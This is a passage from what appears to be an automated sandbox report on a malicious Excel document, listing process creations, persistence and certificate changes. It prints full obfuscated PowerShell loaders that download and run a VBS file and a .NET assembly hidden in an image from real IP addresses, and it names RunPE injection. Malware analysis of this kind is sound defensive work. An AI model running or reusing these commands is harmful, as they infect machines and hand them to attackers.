pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"	Jump to behavior

Suspicious command line found

Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899E022D push eax; iretd	7_2_000007FE899E0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899E00BD pushad ; iretd	7_2_000007FE899E00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_000007FE899C022D push eax; iretd	12_2_000007FE899C0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_000007FE899C00BD pushad ; iretd	12_2_000007FE899C00C1

Source: 12.2.powershell.exe.2cef590.1.raw.unpack, Home.cs	High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs	High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, Class2.cs	High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Source: 12.2.powershell.exe.2f0000.0.raw.unpack, Home.cs	High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 12.2.powershell.exe.2f0000.0.raw.unpack, RunPEE.cs	High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 12.2.powershell.exe.2f0000.0.raw.unpack, Class2.cs	High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.dll

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
